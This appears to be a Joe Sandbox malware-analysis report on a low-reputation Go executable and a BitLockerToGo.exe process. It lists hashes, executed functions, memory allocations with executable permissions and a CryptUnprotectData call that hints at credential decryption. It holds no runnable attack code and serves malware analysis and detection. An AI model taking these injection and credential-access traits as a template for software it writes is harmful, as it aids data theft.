Path:	C:\Users\user\Desktop\tatuJHXSR4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\tatuJHXSR4.exe"
Imagebase:	0x7ff67e2a0000
File size:	10'470'400 bytes
MD5 hash:	2A5F40E3EE04057E88C8B794FF258FD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:23:25
Start date:	26/03/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0xe60000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50.8%
Total number of Nodes:	309
Total number of Limit Nodes:	12

Executed Functions

Function 0077A3A0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 217
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL ref: 0077A3EB
GetSystemMetrics.USER32 ref: 0077A3FE
DeleteObject.GDI32 ref: 0077A477
SelectObject.GDI32 ref: 0077A4CF
SelectObject.GDI32 ref: 0077A54E
DeleteObject.GDI32 ref: 0077A58B

Strings

b@z, xrefs: 0077A3B2, 0077A5DF, 0077A771, 0077A782, 0077A79A, 0077A7B2, 0077A7CA, 0077A7E2, 0077A7FA, 0077A812, 0077A82A, 0077A842, 0077A85A, 0077A872, 0077A88A, 0077A8A2, 0077A8BA, 0077A8D2, 0077A8EA, 0077A902, 0077A91A
, xrefs: 0077A51A
~Px, xrefs: 0077A5FB
^Vx, xrefs: 0077A6B6

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: Object$DeleteSelect$CallbackDispatcherMetricsSystemUser
String ID: $^Vx$b@z$~Px
API String ID: 1449868515-988911131
Opcode ID: 2f41df1a9caf29ed3a0d75e003438d824f2ccb1589272d98acdc4760a9ba7048
Instruction ID: 32453cf6b96fc3ef192d91d77166eacb7ac83efe5b9f5f1f1df9dd1f48acc098
Opcode Fuzzy Hash: 2f41df1a9caf29ed3a0d75e003438d824f2ccb1589272d98acdc4760a9ba7048
Instruction Fuzzy Hash: 29D1AAB45493818FD734DF28E58869ABBF0BB89304F50892EE98D8B350D7B95458CF87

Uniqueness

Uniqueness Score: -1.00%

Function 00751710 Relevance: 10.6, Strings: 8, Instructions: 616COMMON

Download Yara Rule

Strings

true, xrefs: 00751889
., xrefs: 007517DE
[, xrefs: 00751978
null, xrefs: 007519BE
., xrefs: 007517B9
false, xrefs: 007518A1
{, xrefs: 00751A75
0, xrefs: 007517B3

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: 472952cc759019f96d859984a60141bc86d4e3e21b91b5fb6e2675fbbf9c58ef
Instruction ID: c31d41b6ecb891d530646d6f5f5d20abd9e59cdb8be74426082f8ffd27f635e1
Opcode Fuzzy Hash: 472952cc759019f96d859984a60141bc86d4e3e21b91b5fb6e2675fbbf9c58ef
Instruction Fuzzy Hash: D81214B0A403459BE7205F24DC457A67BE4AF40307F65893CEC8686253EBBDE95CCB92

Uniqueness

Uniqueness Score: -1.00%

Function 00759750 Relevance: 10.4, Strings: 8, Instructions: 420
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

IX, xrefs: 00759BEC
0, xrefs: 007597AD
01, xrefs: 00759CCC
@, xrefs: 00759B10
F], xrefs: 00759BFC
nm, xrefs: 00759D7D
!=$?, xrefs: 00759CC1
V[, xrefs: 00759C04

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: !=$?$0$01$@$F]$IX$V[$nm
API String ID: 0-633094582
Opcode ID: 85718110499b33c6076f8b5c6a76a56fd8e543c46e68195cd566af8a7f17e7fa
Instruction ID: fdfdda89e7a51f3b295d375a2e9cf2f0cedc1dd713f71f416821b28413142952
Opcode Fuzzy Hash: 85718110499b33c6076f8b5c6a76a56fd8e543c46e68195cd566af8a7f17e7fa
Instruction Fuzzy Hash: 4C02F0B05083818BE724CF14C494BAFBBF2BBC6345F148D1DE9D54B292D7B99909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00781F90 Relevance: 7.8, APIs: 5, Instructions: 282
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0078204C
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 0078209F
RtlAllocateHeap.NTDLL(?,00000000,00000000), ref: 00782151
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000040), ref: 00782200
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000010,00008000), ref: 00782253

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$Allocate$Free$Heap
String ID:
API String ID: 996896184-0
Opcode ID: e9ceb98898011ccf5002ada7c179e24924823a4cd4d328793a92ad27bf613a65
Instruction ID: 354def2dccfc324be2141d291a430d9bb448dbb615096167073da400b63db49c
Opcode Fuzzy Hash: e9ceb98898011ccf5002ada7c179e24924823a4cd4d328793a92ad27bf613a65
Instruction Fuzzy Hash: ED9187716483019FE714CF18C844B1BBBE6FB84724F258A1DF9A58B391D778D80ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00786500 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 142
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00786655
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 007866C7

Strings

,, xrefs: 0078662C
@, xrefs: 0078659E

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: ,$@
API String ID: 292159236-1227015840
Opcode ID: 0409b9a365cf0915934e4d74bf4379e52bfe10838559032f59ec03ff649be227
Instruction ID: 0dec046d6d5dfa47013309d6eaa5f4fef5fcc0a5946a4e9d23e3980c30468f82
Opcode Fuzzy Hash: 0409b9a365cf0915934e4d74bf4379e52bfe10838559032f59ec03ff649be227
Instruction Fuzzy Hash: 5C417AB1148304AFD710DF14CC44B5ABBE4FF84368F158A1DF9A89B2E0E7789909CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0076DC00 Relevance: 6.4, APIs: 4, Instructions: 370
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076DCAB
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 0076DD02
NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076DDC1
NtFreeVirtualMemory.NTDLL(000000FF,?,00000010,00008000), ref: 0076DE14

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 8c1dc35e1762b9821168b6051cba65090e21f0e884b01c7c651b61ac026067ca
Instruction ID: 8be050b4f2e5d7c4e7ef3d97d95f19de725cd8073e4bbdcdbd55fd0ec79f9a0c
Opcode Fuzzy Hash: 8c1dc35e1762b9821168b6051cba65090e21f0e884b01c7c651b61ac026067ca
Instruction Fuzzy Hash: 30D1EF71A183118FD720CF18C880B5BBBE1EB85354F14892DF9A69B391D7B9DC09CB96

Uniqueness

Uniqueness Score: -1.00%

Function 007878F0 Relevance: 6.3, APIs: 4, Instructions: 267
nativememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 007879E8
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00787A41

Part of subcall function 00781E00: RtlAllocateHeap.NTDLL(?,00000000,0075983E), ref: 00781E91

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,?,00003000,00000040), ref: 00787B03
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000010,00008000), ref: 00787B5C

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$Allocate$Free$Heap
String ID:
API String ID: 996896184-0
Opcode ID: f10250af9acc099b245bc491833bd0f79e5679c797c138a6b76eddfe878f6ecb
Instruction ID: 9669ac52495ca8add1e7c6e00ea09904f283e694c2e27a73ff1e8fe2c5abc6d4
Opcode Fuzzy Hash: f10250af9acc099b245bc491833bd0f79e5679c797c138a6b76eddfe878f6ecb
Instruction Fuzzy Hash: 3491C2716483119FD318DF18C881B2BBBE5FB84314F148A2DF9AA973A0D778D905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00786E40 Relevance: 6.3, APIs: 4, Instructions: 255nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00786EE5
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00786F43
NtAllocateVirtualMemory.NTDLL(000000FF,D2FF0000,00000000,?,00003000,00000040), ref: 0078700A
NtFreeVirtualMemory.NTDLL(000000FF,000000B8,00000000,00008000), ref: 00787067

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 8725b29e2d476c55c0422b59a2fca0ca1261f5a35d3c3216b7c465674275c2d4
Instruction ID: 53aadbdf08aea43ebbf87604b29608eae3d9c1a59b87782b1208f9f16eb4ae30
Opcode Fuzzy Hash: 8725b29e2d476c55c0422b59a2fca0ca1261f5a35d3c3216b7c465674275c2d4
Instruction Fuzzy Hash: C091AC716483159BD714DF18C884B1BBBE5FF883A4F148A1CF9958B3A0E778D905CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00768AC0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 334nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00768DE9
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00768E32

Strings

(), xrefs: 00768AE6

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: ()
API String ID: 292159236-1580606521
Opcode ID: 1e827012e00976e1108662412508a6a91bff5a1af0287516ac9046bb5a0c0bca
Instruction ID: def88a9877002e0fabb1f4b86088a93f8a96daa37389d11f3bd715a06b5c29ce
Opcode Fuzzy Hash: 1e827012e00976e1108662412508a6a91bff5a1af0287516ac9046bb5a0c0bca
Instruction Fuzzy Hash: 3B91CBB25083119BDB60DF14CC52B6BB3E4EF55364F084A18EC969B391EB78D905CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00754750 Relevance: 5.4, Strings: 4, Instructions: 435COMMON

Download Yara Rule

Strings

IDAT, xrefs: 00754CA6
IEND, xrefs: 00754D1C
), xrefs: 007547C4
IHDR, xrefs: 00754C32

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$IDAT$IEND$IHDR
API String ID: 0-3181356877
Opcode ID: 8dd4e8c9e7fdb659e8d09808be1790be98e379897722aef9c6af37bb792e10e1
Instruction ID: e59fe1d670c9b8df01eea397aa70baf1e7508e847ade1e2b0865fdec5de49290
Opcode Fuzzy Hash: 8dd4e8c9e7fdb659e8d09808be1790be98e379897722aef9c6af37bb792e10e1
Instruction Fuzzy Hash: 36021271604340CFD754CF28D855BAA7BE1EF84308F05852CED859B392DBB9E948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 007866E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00786855
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 007868B2

Strings

@, xrefs: 0078679A

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: @
API String ID: 292159236-2766056989
Opcode ID: 49e7f1646d0dfc0ab8e0c665bb3b022e0787b0de7a115986026a2866d7cb2a9e
Instruction ID: 1fb4de94bc9f1026a4ea2a7aa67932a05015758560ad50dc6e44ff575033ffee
Opcode Fuzzy Hash: 49e7f1646d0dfc0ab8e0c665bb3b022e0787b0de7a115986026a2866d7cb2a9e
Instruction Fuzzy Hash: 6851ABB2148300AFD710DF14CC45B1BBBE5EF84368F148A1DF5A48B3A0E778C9098B96

Uniqueness

Uniqueness Score: -1.00%

Function 00786A40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00786AF4
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00786B53

Strings

$, xrefs: 00786ACB

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: $
API String ID: 292159236-3993045852
Opcode ID: 027b2963c8ae578c2afbe4c5752312284ed2b97d8c79c8b19fd9fa092860f465
Instruction ID: 9c579ca1b91c1871a824b5c6b5128c511c53b784b47a557e82de71fa6817ba1f
Opcode Fuzzy Hash: 027b2963c8ae578c2afbe4c5752312284ed2b97d8c79c8b19fd9fa092860f465
Instruction Fuzzy Hash: 36317C71248314AFE314DF58DC40B1ABBE8EB84754F10CA2DFAA8AB3D0D77498058B96

Uniqueness

Uniqueness Score: -1.00%

Function 00768890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00768931
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000000,00008000), ref: 00768998

Strings

,, xrefs: 00768908

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID: ,
API String ID: 292159236-3772416878
Opcode ID: 553c31a9203354cd8fb0a9276b807621f8d4867c1eee6e8174bea6dcc7e311bf
Instruction ID: b9e9ed7211b299fd129bfd53cf8ce040ca43240ec2e4ce9f34db88aa039b1f7e
Opcode Fuzzy Hash: 553c31a9203354cd8fb0a9276b807621f8d4867c1eee6e8174bea6dcc7e311bf
Instruction Fuzzy Hash: 03315872108305AFE710CF14CC40B2BBBE9FB88354F148A1DFAA59B390D7B598058B9B

Uniqueness

Uniqueness Score: -1.00%

Function 007838D4 Relevance: 4.6, APIs: 3, Instructions: 81nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0078395F
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 007839A9
NtClose.NTDLL(?), ref: 00783F03

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateCloseFree
String ID:
API String ID: 917181914-0
Opcode ID: 2dc8c5c66c318b86862864d39957064465721240b9e19c6b1dcad5d336e0c802
Instruction ID: 0264261ebffa41c31ba3fefc3ef83cd186fab992f8abb50ee5fe99748feab68d
Opcode Fuzzy Hash: 2dc8c5c66c318b86862864d39957064465721240b9e19c6b1dcad5d336e0c802
Instruction Fuzzy Hash: 72312371144B109FD330DF18C890B26B7F4FB08714F148A1DE6A68BAA0D77AF8098B68

Uniqueness

Uniqueness Score: -1.00%

Function 007657B1 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 217encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00765963

Strings

., xrefs: 007658B9

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: .
API String ID: 834300711-248832578
Opcode ID: 403c1251c3a3702fc6c3cdc4ca19c54e39aa35f79fb12e1c07fd70bb4b33ae5d
Instruction ID: 91fdbbc6ffd575bc107edff478c951fa9278a78917dcf8861e8141602eb9df70
Opcode Fuzzy Hash: 403c1251c3a3702fc6c3cdc4ca19c54e39aa35f79fb12e1c07fd70bb4b33ae5d
Instruction Fuzzy Hash: B371B3B15087818FD724CF24C49076BBBE2ABD5314F18492DE9DA87392E739D909CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00783316 Relevance: 3.1, APIs: 2, Instructions: 134nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 007833BA
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00783405

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 39105c07ceb4dcf7a79f1c20c5130593ebdb9c7ce08225a9f28b749dcef25b6d
Instruction ID: cbec689d9d02f1739d0ce8cbb4f7cfbcbc0300acb33227a0d0bf6df02f1ad790
Opcode Fuzzy Hash: 39105c07ceb4dcf7a79f1c20c5130593ebdb9c7ce08225a9f28b749dcef25b6d
Instruction Fuzzy Hash: 05414AB11407418FE325CF18C854B16BBF0FF09704F248A5DD6A68BBA1D779E889CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00765280 Relevance: 3.1, APIs: 2, Instructions: 92nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076531C
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 00765374

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 2f789062c0deadd4e7fb8c858d648c167a172cc0f6faf5551928b9cd60b56590
Instruction ID: 33cdd89dbdb46074faa3a03176efc9733d052de8613949d736c010b21535e9a1
Opcode Fuzzy Hash: 2f789062c0deadd4e7fb8c858d648c167a172cc0f6faf5551928b9cd60b56590
Instruction Fuzzy Hash: 7C3155B11083419FD754CF14C880B5BBBE4FB88358F509A1DF9A5873A0D774D80ACB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00766430 Relevance: 3.1, APIs: 2, Instructions: 91nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,900000C2,00000000,?,00003000,00000040), ref: 0076665B
NtFreeVirtualMemory.NTDLL(000000FF,0000BA00,00000010,00008000), ref: 007666AC

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 5b10f6b5a2c598c3ea6247719b6291a7b4ceb55ee1b9f616d1399d1eebd351b4
Instruction ID: 36580c5e59b2e36610b5ef7c6b380faf7e0d2b93fa5fdccf397f8c814c84e9aa
Opcode Fuzzy Hash: 5b10f6b5a2c598c3ea6247719b6291a7b4ceb55ee1b9f616d1399d1eebd351b4
Instruction Fuzzy Hash: 6B317FB12483448FE714CF14C840B5A77E8FB88314F44891DE9A9C7391D778990ACF96

Uniqueness

Uniqueness Score: -1.00%

Function 00786920 Relevance: 3.1, APIs: 2, Instructions: 86nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 007869CF
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00786A23

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: fd6ace15314b136cb1c4a3c07345c97b12cceac9f242009e6cf895607f8246e0
Instruction ID: b241a34f4764ce8deab0baed792a1771ff52a99e7153c02b56bd3fbdbb6f33e1
Opcode Fuzzy Hash: fd6ace15314b136cb1c4a3c07345c97b12cceac9f242009e6cf895607f8246e0
Instruction Fuzzy Hash: 2931DD31108305AFD310DF09DC40B5BBBE9EB84364F018A1CF9A4973A0D776984ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00786D30 Relevance: 3.1, APIs: 2, Instructions: 85nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00786DDF
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00786E2F

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 1815aabcfa41101ec77bca8977c25cf82637df57c1b9458e17de81fa0b06c637
Instruction ID: 5041d72e208fc800a6f26c1a1d23901452d7c3710083c53b587e4e1843197533
Opcode Fuzzy Hash: 1815aabcfa41101ec77bca8977c25cf82637df57c1b9458e17de81fa0b06c637
Instruction Fuzzy Hash: 33218D71208305AFD310DF18CC80B1BBBE9FB85764F118A18F9A4873A0D7759C0A8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0076447E Relevance: 3.1, APIs: 2, Instructions: 84nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076473C
NtFreeVirtualMemory.NTDLL(000000FF,00000000,00000000,00008000), ref: 00764780

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 53bd91a28ee7084eb6cb275c64d8e08dd4aab0c75ec0493bc7a28a73d32a3740
Instruction ID: 2303224768dbc076d19dfe615bb8df035a397362881e5db81625a00a1097e690
Opcode Fuzzy Hash: 53bd91a28ee7084eb6cb275c64d8e08dd4aab0c75ec0493bc7a28a73d32a3740
Instruction Fuzzy Hash: 52315071A402099FDB04CF98DC94BAEB7B5FF09314F148119E622A73A0D7745846CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00765465 Relevance: 3.1, APIs: 2, Instructions: 84nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 0076551F
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 00765575

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 07f34c417b924656377894aaadcc815e2ff731038f55e01ca8c0a774e3261a45
Instruction ID: d27ef0e26b0a88cc693047794bff271a55b09e90d50e1ac718187ca6b2d664b1
Opcode Fuzzy Hash: 07f34c417b924656377894aaadcc815e2ff731038f55e01ca8c0a774e3261a45
Instruction Fuzzy Hash: E53169712583409FD764CF28C890B6ABBE5FB88304F54891DF5A6C73A0DB78D806CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00764160 Relevance: 3.1, APIs: 2, Instructions: 77nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000,00000010,00003000,00000040), ref: 00764201
NtFreeVirtualMemory.NTDLL(000000FF,?,00000000,00008000), ref: 00764245

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: 4d730a11f5e58c7ab368349139934626eb7e5972c0e55c9524ca7847576e1a4e
Instruction ID: 03e91e0ae5f1ed51e05e78cc4e1cc066c42bcdaf262657b556dea553fbe976d6
Opcode Fuzzy Hash: 4d730a11f5e58c7ab368349139934626eb7e5972c0e55c9524ca7847576e1a4e
Instruction Fuzzy Hash: C9216D71108315AFE310CF18DC44B1BBBE8EB85368F118A1DF9A587390D778984A8B96

Uniqueness

Uniqueness Score: -1.00%

Function 00764A59 Relevance: 3.1, APIs: 2, Instructions: 75nativememoryCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,00000000,00000000,00000010,00003000,00000040), ref: 00764E31
NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000), ref: 00764E88

Memory Dump Source

Source File: 00000006.00000002.2469798547.0000000000750000.00000040.00000400.00020000.00000000.sdmp, Offset: 00750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_750000_BitLockerToGo.jbxd

Similarity

API ID: MemoryVirtual$AllocateFree
String ID:
API String ID: 292159236-0
Opcode ID: dc26f9bf8128c6e367701ce61bb6dd550a45671ff27660c09480ef6fd4067e7f
Instruction ID: c2ba08dc73f0fa66f01cdf0c768c3990116a77bc59de2367b4646403512c8bca
Opcode Fuzzy Hash: dc26f9bf8128c6e367701ce61bb6dd550a45671ff27660c09480ef6fd4067e7f
Instruction Fuzzy Hash: A1315C71258380EFD764CF14DC84B5AB7E4FB85314F508A2DFAA68B7A0D7789805CB4A

